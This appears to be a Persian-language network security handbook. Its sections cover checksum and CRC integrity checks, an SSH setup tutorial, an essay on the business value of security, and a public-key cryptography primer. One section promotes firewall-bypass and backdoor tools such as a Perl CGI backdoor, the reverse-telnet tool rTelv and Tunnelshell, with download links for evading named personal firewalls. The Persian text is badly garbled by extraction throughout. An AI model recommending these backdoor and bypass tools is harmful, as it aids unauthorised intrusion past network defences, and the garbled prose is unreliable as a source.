  ) انگشت نگاری( پيمایش اثر انگشت  •
   پيمایش شبکيه چشم •
   پيمایش صورت •
   مشخصه صدا •

 
ان    یستمی با. ارسال و یا رمزنگاری است  اطلاعات ، صحت ارسال اطلاعات از زمان یکی دیگر از مسائل مرتبط با انتقال ن اطمين ای

د     اوليه بوده و در زمان انتقال با مشکل دریافت شده ، همان اطلاعات ارسالی وجود آید که اطلاعاته ب شده ان ی مواجه ن ن  . و خراب در ای
   : از روش های متعددی استفاده می گردد راستا

 
 Checksum . ال اطلاعات استارس های استفاده شده برای اطمينان از صحت یکی از قدیمی ترین روش .   

Checksum ردد      ، به دو اوت محاسبه می گ د  فرض . صورت متف سته اطلاعاتی دارای    Checksum کني دازه یک      یک ب ه ان طولی ب
ا یک    ( حالت ممکن  بایت شامل هشت بيت و هر بيت یکی از دو بایت باشد ، یک د داشته باشد    را می ) صفر و ی التی   . توان ين ح در چن

ود    وضعيت ، تمام هشت بيت مقدار صفر را  با توجه به اینکه در اولين. باشد می تواند وجود داشتهوضعيت متفاوت  ٢۵۶ د ب دارا خواهن
   .حالت متفاوت را ارائه نمود 255 ، می تواند حداکثر
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دار   و یا٢۵۵موجود در بسته اطلاعاتی ،  در صورتيکه مجموع سایر بایت های ▪ عات واقعی   اطلا شامل  Checksum کمتر باشد ، مق

   .و مورد نظر خواهد بود

 
يش از     در صورتيکه مجموع سایر بایت های ▪ سته اطلاعاتی ، ب ده   Checksumباشد ،   ٢۵۵موجود در ب ادل باقيمان مجموع اعداد    مع

   . يمی تقسيم نما٢۵۶را بر  بوده مشروط بر اینکه آن

 
Cyclic Redundancy Check)CRC) . روش CRC در مفهوم مشابه روش Checksum د جمله ای نروش فوق از تقسيم چ . است

الا       .  بيت است٣٢ و یا ١۶  معمولا CRC طول .استفاده می کند CRC مشخص کردن مقدار برای سيار ب وق ب صحت عملکرد روش ف
   .نخواهد کرد با مقدار مورد نظر مطابقت CRC،   یک بيت نادرست باشد در صورتيکه صرفا . است

 
ند، روش  تصادفی در مناسبی برای پيشگيری از بروز خطای امکانات CRC و Checksum روش های های   ارسال اطلاعات می باش

ا حفاظت اطلاعات و      وق در رابطه ب ات      ف ل عملي تفاده از      ایمن سازی اطلاعات در مقاب تيابی و اس ر مجاز بمنظور دس اطلاعات ،   غي
   .این زمينه می باشند عمومی ، امکانات بمراتب مناسب تری در  کليدرمزنگاری متقارن و. می نمایند تری را ارائه امکانات محدود

 
ر روی   ایر شبکه های اختصاصی ، از      بمنظور ارسال و دریافت اطلاعات ب ردد       اینترنت و س تفاده می گ ی اس دد ایمن  .روش های متع
وق  برای تحقق امر . ی باشد ایمن تر م تلفن ، پست: سایر امکانات موجود نظير  ارسال اطلاعات از طریق شبکه نسبت به می بایست    ف

امپيوتری  پروتکل های ایمنی بمنظور ارسال و از روش های متعدد رمزنگاری و  اینترنت   خصوصا  دریافت اطلاعات در شبکه های ک
   .استفاده کرد
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  دور زدن فايروال ها 

   
فقط معرفی ميکنم ، شما !!! دن چگونگی عمل کرد آن ها را ندارم من در اینجا یک چند ابزاری معرفی ميکنم ، البته حال توضيح دا

  .دوست داشتيد بروید و یک جستجوی بکنيد و با توجه به نياز خود ابزار مورد نظر را بدست بی آورید 
   

 است که خيلی مشهور است و CGI Backdoorبهترین ابزار که تعداد بسيار زیادی از دیوار آتش ها را دور ميزند ، یک  •
 که ٨٠ است و خيلی عالی است و با پورت شماره client / server نوشته شده است ، اساس کار آن ، معماری Perlتحت 

تسلط دارید با کمی وقت گذاشتن ميتوانيد نسخه مشابه  ++Cاگر بر برنامه نویسی !! همان سرویس دهنده وب است کار ميکند 
سایت !!  نيز بنویسيد ، اگر مسلط نيستيد به دنبال آماده آن بگردید که با اسامی مشابه ریخته در شبکه ++Cآن را بر مبنای 
  :رسمی این ابزار 

   
http://hypoclear.cjb.net/  

  
برای پکاندن این ابزار هم !!!  است ipfilter از معروفترین فيلتر ها و دیوار آتش ها تحت سيستم عامل های کد باز یکی •

 نوشته شده ولی روی بقيه هم با کمی تغيير کار ميکند Free BSD استفاده کنيد ، این ابزار مخصوص FWميتوانيد از ابزار 
  :سایت رسمی این برنامه   ،  آن هم موجود استOpen BSDالبته نسخه رسمی 

   
http://www.s0ftpj.org/  

  
  :برای پاکاندن دیوار آتش های همچون •

   
• Kerio Personal Firewall 
• McAfee Personal Firewall 
• Norton Internet Security 2002 
• Sygate Personal Firewall Pro 
• Tiny Personal Firewall 

 . استفاده نماید back stealthميتوانيد از ابزار 
   

ميتواند دیوار آتش ها را دور بزند  stenographyدیگری هم وجود دارد که به واسطه پروتکل   firewall stenoابزار به نام  •
  :سایت رسمی این ابزار .  دریافت نماید ٨٠و دستور های شما را از پورت 

   
http://www.networkpenetration.com/  

  
   

 وجود دارد که یک تونل ایجاد ميکند و کار ما را ره مياندازد ، این ابزار مثل تمام ابزار های Fire passابزار دیگری به نام  •
  : است ، سایت رسمی این ابزار هم CGI program و Perlتوپ ، بر اساس 

   
http://gray-world.net/  

  
 بر عکس است ، که قبلا هم به عنوان دیگری به شما Telnetابزار دیگری که در این باب موجود است ، و معروف به  •

 اینجابرای دریافت این ابزار به .  نوشته شده است PrOpHeTاین ابزار توسط .  است rTelvمعرفی کرده بودم ، ابزار 
 .مراجعه کنيد 

  
http://packetstormsecurity.org/UNIX/penetration/rootkits/rTelv2.8.zip  

  
   

 و UDP و TCP هم وجود دارد که کارای مناسبی دارد و قابليت ارتباط توسط پروتکل های Tunnelshellابزار به نام  •
ICMP سایت رسمی این ابزار . را دارد ..  و:  

   
http://www.coresecurity.com/  
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  :هم ميتوانيد به اینجا بروید   Internet Connection firewall (ICF) برای بازی با •
   

http://secunia.com/advisories/12793/  
  

  
  . استفاده کنيد firewall bypass ميکنم که از برای این دیوار آتش های زیر هم توصيه •

   
1. Zone Alarm 
2. Kerio 
3. Agnitium Outpost firewall 
4. Kaspersky Anti-Hacker 
5. Symantec's Norton Personal firewall 
6. and more … 

  
  :سایت اصلی 

   
http://ferruh.mavituna.com/  

  
   

با کمی تجربه ميتوانيد انواع دیوار !!!!  است ، به شدت توصيه ميشود IP که یک مجموعه ابزار برای کار با TRIPPابزار  •
  :سایت رسمی ابزار !! آتش ها را از راه دور ، دور بزنيد 

   
http://tripp.dynalias.org/  

  
  !!که خيلی ، خيلی کار درست است .  استفاده کنيد Hpingبرای کشف قواعد دیوار آتش و دور زدن آن هم ميتوانيد از  •

   
  :در این مجله تخصصی هم ميتوانيد کلی مطلب در این باب و باب های دیگر ، گير بياورید  •

   
http://www.phrack.org/  
  

  
  !!!اميدوارم به درد شما بخورد . است " گذرگاه کناری "  به معنی Bypassقابل ذکر است کلمه 
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  SSH ( Secure Shell )شرحی بر 

  

  
 
  

 
   پروتکلتاريخچه

  
فنلاند هک می شود و پس از آنگه مشخص شود رمز عبور دانشگاه از طریق ارتباط  هلسينکی شبکه دانشگاه تکنولوژی ١٩٩۵در سال 

که در آن  Tatu Ylonenراه دور یک دانشجو با شبکه شنود شده است و مورد استفاده نفوذگران قرار گرفته شده است ، شخصی به نام 
رای ارتباط راه دور شروع کرد و در همان سال توانست زمان محقق این دانشگاه بود کار خود را بر روی ایجاد یک استاندارد امن ب

توسعه یافت به طوری OpenBSD بعد ها این پروتکل توسط گروه سازنده سيستم عامل .  عرضه کند SSHنسخه آزمایشی پروتکل 
   .  باز یافت ميشود  کد  در سيستم عامل هایOpenSSHکه امروز با نام 

  
  ساختار پروتکل

  
SSH ( Secure Shell ) بر روی بستر شبکه اینترنت رکامپيوت یک پروتکل برای رمز کردن داده های یک ارتباط راه دور ميان دو 

   استTelnet.Rsh.Rcp جایگزین مناسبی برای پروتکل ها و ابزارهایی همچون SSH. یا شبکه های محلی است 
  

 منتقل می کنند TCP/IPگذاری از طریق پروتکل  مز و بدون هيچ گونه ر ClearTextاین پروتکل ها چون داده ها را به صورت 
امکان سرقت حساب های کاربری و شنود اطلاعات تبادل شده ميان سيستم ها به وجود می آید و به عنوان یک ابزار مناسب برای 

هویت امکان یک   های رمزنگاری و عمليات های احرازمالگوریت با استفاده از SSH. ارتباط سيستم های راه دور توصيه نمی شود 
درست مانند اینکه یک تونل ميان دو سيستم راه دور بر .  و با امنيت بالا را ميان دو سيستم راه دور به وجود می آورد مطمئنارتباط 

به وجود آمده است که حتی در صورت موفقيت یک نفوذگر در ربودن و شنود اطلاعات TCP/IPروی بستر شبکه اینترنت و پروتکل 
در ادامه در مورد این . ( ند از این اطلاعات استفاده کند چون باید کليد خصوصی را برای رمزگشایی اطلاعات داشته باشد ، نمی توا

  )کليد ها بيشتر صحبت ميشود 
  

 کامپيوتری که باید از راه دور با آن ارتباط برقرار کرد. سرویس گيرنده است / یک پروتکل سرویس دهندهSSHهمانطور که می دانيد 
 )هر کلاینت دارای یک کليد عمومی . در نقش سرویس دهنده و تمامی کاربران راه دور نقش سرویس گيرنده را خواهند داشت 

Public Key ) و یک کليد خصوصی ( Private Key ) کليد عمومی ميان کلاینت و سرور به اشتراک گذاشته ميشود ولی هر .  است
از کليد عمومی برای رمزنگاری داده ها و از کليد خصوصی برای رمزگشایی  . کلاینت یک کليد خصوصی مخصوص خود دارد

  .  استفاده می کند SSL از پروتکل TCP/IP در برقراری ارتباط با سيستم های راه دور در SSH. اطلاعات استفاده ميشود 
  

   TCP/IPتونل در 
  

TCP/IP اصولا یک پروتکل نا امن است و اجرای برنامه هایی مانند Telnet و FTP بر بستر آن همراه با خطرات و تهدیدهای 
 برای ارتباط مستقيم انتها به انتها برای سيستم ها Tunneling یا Port Forwarding از تکنيکی به نام SSH. امنيتی خواهد بود 

 Port!  وجود نخواهد داشت استفاده می کند که داده ها به صورت روز شده فقط ميان این دو سيستم تبادل شده و امکان شنود آن
Forwarding بنوعی یک ارتباط مجازی ميان دو سيستم با استفاده از پروتکل TCP/IP خواهد بود که حتی امکان عبور از فایروال 

 برنامه های SSHمی توان با بستن تمام پورت های یک شبکه با فایروال و دادن سرویس . های یک شبکه هم وجود خواهد داشت 
  . را اجرا و امنيت سيستم را در سطح بالایی نگه داشت کاربردی
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  : به شکل زیر نگاه کنيد Tunnelingبرای بهتر درک کردن مفهوم 

  

  
  

   SSHچگونگی ارتباطات در 
  

در هر سرویس یک یا چند سيستم در نقش کلاینت و . سرویس گيرنده است / یک پروتکل سرویس دهندهSSHهمانطور که گفته شود 
گذاری داده ها و یک کليد خصوصی برای  هر کلاینت دارای یک کليد عمومی برای رمز. وتر وجود خواهد داشت یک کامپي

برای برقراری یک . کلاینت پس از ساخت کليد عمومی آن را ميان کاربر و سرور به اشتراک ميگزارد . رمزگشایی داده ها است 
هویت اسم و رمز عبور حساب کاربری را تقاضا  سرور برای احراز. ستد  ابتدا کلاینت یک تقاضا برای سرور می فرSSHارتباط 

 ميان سيستم کاربر و سرویس دهنده ایجاد ميشود و به SSHميکند و پس از تایيد درست بودن اطلاعات کاربر توسط سرور یک ارتباط 
. ع نشست مورد استفاده قرار ميگيرد هر نشست دارای کليد شناسه مخصوص خود است که با شرو. اصطلاح یک نشست ایجاد ميشود 

 استفاده دبه جز کليد عمومی و خصوصی کاربر و کليد نشست یک کليد نيز توسط خود سرور برای رمزنگاری خود کليد نشست مور
  . ویت کاربران استفاده می کند  ه برای احرازDSA و RSA از دو الگوریتم SSH. قرار ميگيرد 

  
  NIX*يجاد ارتباط راه دور در سيستم های  برای اSSHاستفاده عملی از 

  
  . انجام شده است Linuxفرایند ایجاد ارتباطی که در اینجا شرح داده شده است بر روی سيستم عامل 

  . تقریبا به همين روال است NIX*ولی در تمام سيستم های 
 های توزیع معمولا در تمام SSHیس گيرنده سرویس دهنده و سرو. سرویس گيرنده ميباشد / شامل دو بخش سرویس دهندهSSHبرنامه 

 موجود بر روی سيستم عامل لينوکس برگرفته از sshdسرویس . نصب و به صورت پيش فرض تنظيم ميشود  یونيکس و لينوکس
OpenBSD فایل های پيکر بندی .  ميباشدSSH در مسير /etc/ssh فایل پيکربندی سرویس دهنده .  ذخيره ميشودSSH یا sshd به 

برخی از این گزینه .  را ميتوان از طریق این فایل تنظيم نمود SSHگزینه های امنيتی و سيستمی .  موجود ميباشد sshd_configنام 
  :ها عبارتند از 

 
• Port :  شماره پورتی که سرویس دهندهsshd است ٢٢ آن را کنترل خواهد کرد که به صورت پيش فرض .  
• Protocol : خه پروتکل سشماره نSSL است ٢ مورد استفاده که معمولا شماره .  
• PermitRootLogin :  ميتوان آن را با . اجازه ورود به کاربر ریشه داده شود یا خيرYes یا No تنظيم کرد  .  
• PasswordAthentication : هویت با استفاده از کلمه عبور  فعال سازی احراز .  
• PermitEmptyPasswords : که پيش فرض . ور قادر به وارد شدن باشد آیا کاربر بدون کلمه عبNo است .  
• AllowUser :  با استفاده از این گزینه ميتوان کاربرانی که قادر بهSSH    کردن به یک سيستم هستند را محرور نمود .

  .این گزینه معمولا به صورت پيش فرض وجود ندارد . کاربران مجاز را با یک فاصله جلوی گزینه فوق بنویسيد 
  
  : ميتوانيد به صفحات راهنمای آن مراجعه کنيد sshd_configای کسب اطلاعات دقيق تر از پيکر بندی فایل بر

  
# Man sshd_config  

  
  : را وارد کنيد etc/init.d/ssh start/ بر روی یک سرویس کافی است دستور sshdجهت راه اندازی سرویس دهنده 

  
# /etc/init.d/ssh start 
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Starting OpenBSD Secure Shell Server : sshd. 
 

برای اتصال به سيستم مورد نظر از .  شروع به کار کرده و شما اکنون قادر به کنترل سيستم مورد نظرتان هستيد SSHسرویس دهنده 
  : و نام ماشين مورد نظرتان را وارد کنيد رکامپيوت نام sshپس از دستور .  استفاده نمایيد ssh  دستور

  
# ssh root@websecurity 

 
نخستين باری که سعی در اتصال به یک سيستم دارید ، هشداری مبتنی بر ناشناس بودن سيستم مورد نظر برای شما نمایش داده ميشود 

 سيستم فوق در RSA Fingerprint پاسخ دهيد آنگاه Yesو از شما برای ادامه سوال ميشود و در صورتی که سوال مورد نظر را با 
 RSA Fingerprintفقط در صورتی که .  ذخيره خواهد شد و در دفعات بعدی از شما سوال نخواهد شد ssh/known_host./فایل 

 برای شما نمایش داده خواهد Main in the middleآغاز یک حمله از نوع   سيستم مورد نظر تغيير کند یک هشدار امنيتی در مورد
  :شد 

  

The authenticity of host 'memphis (127.0.0.1)' can't be established. 
RSA key fingerprint is a2:c6:70:3e:73:00:b3:ed:90:b1:9a:bc:e7:d5:32:ba. 
Are you sure you want to continue connecting (yes/no)? Yes 
Warning: Permanently added 'memphis' (RSA) to the list of known hosts. 

 جدیدی بر روی سيستم خود ایجاد کنيد که برای رمزنگاری کلمات عبور RSA قادر خواهيد بود کليد ssh-keygenبا استفاده از دستور 
  :شما از آن استفاده خواهد شد 

# ssh-keygen -t rsa 
Generating public/private rsa key pair. 
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa. 
Your public key has been saved in /root/.ssh/id_rsa.pub. 
The key fingerprint is: 
9a:03:7d:69:fc:fb:81:1a:52:9d:2c:d1:05:2a:e4:b8 root@memphis 

پس از آن از شما کلمه عبور سيستم مورد نظر در خواست خواهد شد که شما باید کلمه عبور کاربر مورد نظر که با آن مایل به 
  :برقراری اتصال هستيد را وارد کنيد 

# root@websecurity password : 

 مورد نظر خودتان مشغول به کار هستيد  پس از آنکه کنسول سيستم مورد نظر برای شما داده شد ، درست مانند اینکه پشت سيستم
  :ميتوانيد آن را کنترل و تنظيم کنيد 

Last login: Sat May 1 19:35:42 2004 on tty4 
Linux memphis 2.6.5 #1 Mon Apr 5 23:23:54 IRST 2004 i686 unknown unknown GNU/Linux 
Libranet GNU/Linux 
Last login: Sat May 1 19:35:42 2004 
root@memphis:~# 

  : را برای بستن اتصال وارد کنيد Logoutت دستور سپس از اتمام عمليات بر روی سيستم راه دور کافی ا

#Logout 
Connection to memphis closed. 
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نامه قدرتمند  بلکه با برOpenSSHالبته نه با برنامه .  استفاده کنند SSH هم ميتوانند از یک ارتباط امن مثل $Windowالبته کاربران 
putty    

  

www.chiark.greenend.org.uk/~sgtatham/putty 

دور فراهم  های راه دهنده های موجود بر روی شبکه محلی و سرویس  یک راه سریع، امن و عالی جهت اداره سيستمSSHبه طور کلی، 
   .سازد صالات کندی مانند خطوط تلفن نيز مناسب میمخصوصا اینکه بدليل متنی بودن کامل اتصالات، آنرا جهت استفاده در ات. نماید می
 

 
  

 

 
 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٥٠٨    صفحه

Dog Soung جزو توسعه دهندگان اصلی OpenSSH و سيستم عامل OpenBSD است و البته برنامه Dsniff هم از زیر دست 
   هستشw00w00ایشون رد شده و یکی از اعضای اصلی گروه 

 
  

  .کمک کرده باشد  اميدوارم که این مقاله به امن کردن سيستم های شما 
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 انواع حملات رایج در شبکه معرفی : هشتمفصل  
 

 .ارزش تجاری امنيت  
 زیر ساخت های امنيتی مدرن در شبکه اینترنت 
 .معرفی انواع حملات رایج در شبکه به صورت فهرست وار 
 .فصيلی معرفی انواع حملات به صورت ت 
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 ارزش تجاری امنيت
   

م              ه  اگر با امنيت سروکار دارید، ب      ارایی و ه م ک ا، ه نحوی به این مطلب اذعان دارید که امنيت هزینه بر است، هم از نظر ویژگی ه
املا پذیرفت                   . قابليت استفاده  ن مطلب را ک يد ممکن است هر روز با این حقيقت سروکار داشته باشيد و حتی ای ه      . ه باش ه شما گفت ا اگر ب ام

تفاده           ده تجارت اس شود که می توانيد احساس خود را نسبت به امنيت تغيير دهيد و از آن بجای عاملی هزینه بر به عنوان یک تقویت کنن
د پ         آنگاه    ،کنيد زی می    چه می گویيد؟ ممکن است این مفهوم جدید هنگامی که شما مورد تجاری بعدی خود را برای یک سيستم جدی ه ری ای

  ! اجازه دهيد به شما بگویيم چگونه. تفاوت زیادی ایجاد کند، کنيد و نياز دارید که سرمایه بيشتری تقاضا کنيد
   

   
   

  !فتداخوبی از کار بيبه يک طرح امنيتی خوب بايد 
  

ال         ال و غيرفع ا زود اشکالات فع ر ی د  هنگامی که یک راه حل یا برنامه کاربردی طراحی می کنيد، دی د دی ه    . را خواهي م نيست ک مه
ن                      ! فتد ا چقدر خوب طراحی کرده باشيد، امنيت در نهایت از کار می           د روی ای د، بای ه امنيت را در راه حل خود وارد می کني هنگامی ک

  . اما مهم تر این است که چگونه از کار خواهد افتاد. مطلب تمرکز کنيد که چگونه کار خواهد کرد و تراکنش خواهد داشت
  
ه           به رتبه بعد که راه حل جدیدی را طراحی و پياده سازی می کنيد،            م ه طرح شما ب د هنگامی ک ه می تواني ه چگون يد ک دنبال این باش

ن    . خطر می افتد ، از یک واکنش زنجيره ای اتفاقات بد جلوگيری کنيد      د، ای هنگامی که برای جلوگيری از اشکالات، آینده نگری می کني
ه       . هی می شود که خسارت را در هنگام به خطر افتادن سيستم، محدود می کند              رویکرد به راه حلی منت     ئن شوید ک ارت دیگر، مطم به عب

  ! و مشکلات گسترده ای ایجاد نمی کندخوبی از کار می افتدبه طراحی شما 
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ال اشاره می        فتد، چگونه ارزش تجاری امنيت را تحت تأثير قرار می دهد؟ در اینج             ا خوبی از کار می   به  یک راه حل که      ا به یک مث

 اجرا  NET. و چارچوب Windows Server 2003ساختار مبتنی بر  شرکت شما یک پورتال آنلاین ایجاد می کند که روی زیر: کنيم
اده است        اخيرادارد که   ی  پورتالیک شرکت مشابه نيز     . می شود  ه خطر افت ه                   .  ب د ک ن تضمين را بده د ای ابراین شرکت شما می خواه بن

ده     به  راه حل هایی که     . بالقوه به پورتال جدید اعتماد دارند     مشتریان   طرز بدی از کار می افتند، آنهایی هستند که شما دوست ندارید در آین
  .یادآور آنها باشيد

  
د          : ساختار را ساده کند    بنابراین شرکت شما سعی می کند زیر       . شما با پياده سازی پورتال در سه سطح، یک تقسيم بندی انجام می دهي

د                  ار می کاهي تفاده از نصب های اسکریپتی و خودک ا اس سانی ب راکنش های ان ه صورت   .  در طول نصب تا آنجا که ممکن است از ت ب
د    Active Directory در Group Policyمرکزی ابزارهایی مانند  ه سازی       . را سرپرستی می کني ال و بهين ود امنيت پورت رای بهب ب

د    . وصله های امنيتی را بهينه می کنيد      عمليات روزانه، روندهای مدیریت      ام می دهي ه   . شما تمام این کارها را تحت نام امنيت انج آنچه ک
ر      ،  شما در نهایت توسط آن     انيد زی ام می رس ه اتم د، ارزش           کار خود را ب رده ای ذاری ک رای آنچه در آن سرمایه گ ه ب ساختاری است ک

ال داری     . افزوده به ارمغان می آورد   دها و            شما یک طرح پورت ر تهدی رای مقاومت در براب ه راحتی ب ر است و ب اوم ت اتر و مق ه پوی د ک
  .حملات جدید سازگار می شود

  
وژی    دان                             ا شما همچنين تکنول د و در عين حال کارمن ر درک می کني د بهت تفاده می کني ه از آن اس ازده     ITی را ک شتری  یشما ب  بي

تفاده از امنيت   . ا از کار روزانه حذف کرده اید  طاقت فرسا و وظایف نگهداری ر      دارند، زیرا شما نصب      ه  شما در حقيقت با اس وان  ب عن
  . یک تقویت کننده، ارزش تجاری را افزایش داده اید

  
  ...اما صبر کنيد، یک عامل دیگر هنوز وجود دارد

  
   

  عامل انسانی 
  

د             . امنيت در حقيقت مربوط به همه است       ه می کنن ستم حمل ز                نه فقط کسانی که به یک سي د ني ه از آن مراقبت می کنن سانی ک ، بلکه ک
د         هست اگر می خواهيد طرح امنيتی شما کار کند شما مجبور         : یک چيز را به خاطر داشته باشيد      . درگيرند اد کني راد اعتم ه اف ات  . يد ب جزئي

ه     ایک روش امنيتی اغلب پيچيده است، اما روشی که امنيت عمل می کند و از کار می           ه هم د   فتد چيزی است ک د بفهمن ن را  . می توانن ای
  .هنگامی که طرح امنيتی خود را ایجاد و پياده سازی می کنيد به یاد داشته باشيد

  
ه  امتيازی که انسان ها نسبت به ماشين دارند این است که می توانند ابتکار داشته باشند،              د و مشکلات را      ب ری کنن صميم گي سرعت ت

  .آنها معمولاً دليل از کار افتادن طرح امنيتی شما هستند. یک زنجيره امنيتی هستنداز طرفی افراد ضعيف ترین بخش . کشف کنند
  

ه امنيت را در طرح خود                                 ه هنگامی ک ئن شوید ک د؟ مطم دیل کني بنابراین، چگونه می توانيد ضعف انسانی را به یک نقطه مثبت تب
داخل یک سازمان، امنيت یک تلاش  . شان می کنيد ی کنيد و آگاهوارد می کنيد، افراد مرتبط را درگير می کنيد، به آنها وظایفی محول م   

ورد طرح              ! گروهی است، هم عمودی و هم افقی       شنهادهای سازنده در م ا و پي دبک ه ان   همه را درگير کنيد و برای في ه  ت از   ب صورت ب
د،     با استفاده از امنيت به عنوان ابزاری برای ارتباط در ميان کل سازمان، شما اف   . برخورد کنيد  ه قصد محافظت داری راد را از اموالی ک

راکنش و                                . آگاه می سازید   ه ت ور ب راد را مجب را اف د، زی ر ارزش تجاری می افزای زه، ب در حقيقت مقوله امنيت به عنوان یک عامل انگي
  . اشتراک ایده ها می کند
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ه   . امنيت کامل وجود ندارد؛ اما مخاطرات باید قابل مدیریت باشند          ه    شما    هنگامی ک دیریت        ب ی را م وثری مخاطرات امنيت صورت م
  . تجاری قدرتمند در اختيار دارید که چيزی بيش از یک هزینه است-می کنيد، یک طرح امنيتی 

  
د     ر دهي دیل ساختن         . شما نمی توانيد این حقيقت را که امنيت هميشه پول را تعقيب می کند، تغيي ا تب د رویکرد خود را ب شما می تواني

وژی  به  یک ابزار تجاری با ارزش تغيير دهيد و می توانيد از آن   امنيت به  عنوان یک انگيزه و تقویت کننده استفاده کنيد، هم برای تکنول
  اکنون امنيت چيزی است که هيچ تجارتی نمی تواند بدون آن وجود داشته باشد. و هم برای افراد
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   لات در شبکه اينترنتساختارهای امنيتی مدرن برای مباد زير
  

رای       علمی، زیر   دکتر شهرام بختياری، استادیار پژوهشکده الکترونيک دانشگاه صنعتی شریف در یک مقاله            درن ب ی م ساختارهای امنيت
  :  که به علت بار علمی و راهبردی این مقاله ما آن را در زیر آورده ایم .که اینترنت را مورد بررسی قرار داده استبمبادلات در ش

  
ستم   شرفته، سي شورهای پي ه و در ک رار گرفت راد ق سياری از اف ره ب ای روزم زو کاره روزه ج ه ام تفاده از رایان ه اس ای رایان زو  ه ای ج

ادی در حالت               . باشند  لاینفک زندگی افراد جامعه می     در کشورهای در حال توسعه از جمله ایران، فرهنگ استفاده از رایانه با سرعت زی
  .گير شدن استفاده از رایانه در ایران باشيم چندان دور، شاهد همه ی نه شود که در آینده بينی می يشگيری است و پ شکل

  
ی        کند بلکه عمدتا رایانه     در عصر کنونی استفاده از رایانه به تنهایی قابليت زیادی را برای کاربران فراهم نمی               ق خطوط تلفن ( ها از طری

dial-up ( بکه ا ش ی  و ی ای محل ستند ) lan(ه صل ه دیگر مت ه یک تانداردهای   . ب زار و اس ود اب ت و وج بکه اینترن انی از ش تقبال جه اس
ابع و اطلاعات الکترونيکی را در        مختلف، زمينه  اط داد و من ا    ای را فراهم آورده تا بتوان کاربران را به راحتی با یکدیگر ارتب ان آنه مي

الی   شود حتی مشاهده می  . ای توزیع نمود    از طریق خطوط شبکه    روش  ( که بسياری از اطلاعات با ارزش از قبيل اطلاعات م د و ف ) خری
  .شوند و یا اطلاعات سری نيز از طریق شبکه اینترنت بين کاربران رد و بدل می

  
  : های کامپيوتری با آنها دست به گریبانند عبارتند از  دو مساله مهم که کاربران شبکه

  
انگی        -١  اربر :  حفظ حریم خصوصی و محرم ابی توسط دیگران باشد و                   ک ل ردی ر قاب ا غي ا و ارتباطات آنه ه کاره د هستند ک ان علاقمن

ه       فرستند و یا دریافت می      هایی که آنها در شبکه می       همچنين پيام  م توسط مداخل ه داده   نمایند، قابل فه ی ک دل شده در مسير      گران های رد و ب
  .شبکه را شنود می کنند، نباشد

  
د و                  کاربران جهت پاره  : کار احراز هویت و عدم ان     -٢  ان حاصل نماین ل، اطمين ه از صحت هویت طرف مقاب د ک ای از مسائل نياز دارن

سائل، ارسال       . اند   همان فردی است که انتظارش را داشته       واقعاًاند    مطمئن شوند که کاربری که با آن تماس گرفته         همچنين در بعضی از م
  .این ابزار همان امضای معمولی افراد را شبيه سازی می نماید. فرستاده انکار نمایدی یک پيام نباید بتواند پيامی را که  کننده

  
ک از روش وان ی ه عن اری ب رویس رمزنگ راهم آوردن س ت ف اد جه ل اعتم ای قاب ی ه تفاده م ل اس وق قاب ای ف د ه ين . باش ه لات کلم

cryptography         ی       . باشد    به معنی علم نوشتن به رمز می ه صورت کل ی امروز ب ه می     ت  ول ایی ک راهم آوردن ابزاره د   ری جهت ف توانن
رای امنيت اطلاعات و داده           سرویس تفاده می       هایی را ب د، اس ه نماین ا ارائ راهم     امروزه رمزنگاری جزو روش   . شود  ه های الزامی در ف

ستم ت سي ودن امني بکه نم ا و ش ی ه امپيوتری م ای ک ستم  ه ه سي دیم، منحصر ب د ق د و مانن انکی  باش امی و ب ای نظ یه ود نم در عصر . ش
ستم         های کامپيوتری، هر فرد می  شبکه دتا توسط سي ه عم ی ک تفاده از ابزارهای امنيت ا اس های رمزنگاری    تواند از منابع اطلاعاتی خود ب

  .شوند، محافظت نمایند فراهم می
  
  
  متقارن  سيستمهای رمزنگاری متقارن و نا-

  
ستم    ربردهای مختلفی مورد استفاده قرار می   های رمزنگاری برای کا     با وجود اینکه امروزه سيستم     ين سي دا چن ا    گيرند ولی در ابت ایی تنه ه

در یک سناریوی کلی می توان فضایی را در          . جهت اختفا و به عنوان ابزاری برای به وجود آوردن محرمانگی پيام، طراحی شده بودند              
  . را داردB به کاربر P قصد ارسال پيام Aنظر گرفت که در آن، کاربر 

  
از     الگوریتم .  استفاده می نمایدP جهت رمز نمودن پيام Eالگوریتم   ازAروش کار بدین ترتيب است که ابتدا کاربر    های رمزنگاری، ني

ه هر         C، یک خروجی مانند    Pدارند تا بتوانند از پيامی مانند       ) Ke(به یک کليد رمزنگاری      سته ب ادی واب دگی زی ا پيچي ه ب د ک  توليد نماین
شایی       را دریافت میC که پيام Bکاربر  .  باشد Ke و   Pدوی   تفاده از الگوریتم رمزگ ا اس شایی     Dکند ب د رمزگ تفاده از کلي ا اس ) Kd( و ب

  . خواهد بودPنماید و نتيجه، پيام   میCاقدام به بازنمودن پيام 
  

 است و یا Ke یا مساوی Kdری متقارن های رمزنگا متقارن این است که در سيستم های رمزنگاری متقارن و نا فرق اساسی ميان سيستم
ام     Ke، کليد   B و   Aدر نتيجه کافی است هر دو کاربر        . به راحتی از آن استنتاج می شود       د پي ا بتوانن شان را توسط آن رمز      را بدانند ت های
ئن     يام را باز می    پ B شناخته شده است لذا وقتی کاربر        B و   A تنها برای    Keبا توجه به اینکه     . نموده و سپس رمزگشایی نمایند     د، مطم کن

را     به راحتی می Aبا این وجود    ) . خاصيت احراز هویت  ( است   Aشود که پيام فوق از طرف         می د زی تواند ارسال پيام فوق را انکار نمای
Bتواند چنان پيامی را به همان شکل، رمز نماید  نيز می.  
  

ذاری  های    متقارن، کليدی  های رمزنگاری نا    در سيستم  اوت هستند      و رم  رمز گ شایی متف د             . زگ اربر دارای یک زوج کلي در حقيقت هر ک
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فرض بر این است که کليد خصوصی، تنها توسط آن کاربر شناخته شده         . باشد  باشد که یکی کليد عمومی و دیگری کليد خصوصی می           می
ه           Aاگر   حال  . است ولی کليد عمومی برای همه افرادی که قصد ارتباط با آن کاربر را دارند معلوم است                 ه ب امی محرمان  قصد ارسال پي

B  را داشته باشد، پيام را توسط کليد عمومی Bد  کند و  رمز می اربر  . آن را ارسال می نمای د خصوصی       Bک ام رمز شده را توسط کلي  پي
ه محت    است لذا هيچ فرد دیگری نمیا   کليد خصوصی را دار    Bبا توجه به اینکه تنها      . نماید  خود، رمزگشایی می   د ب ام دسترسی   توان وای پي

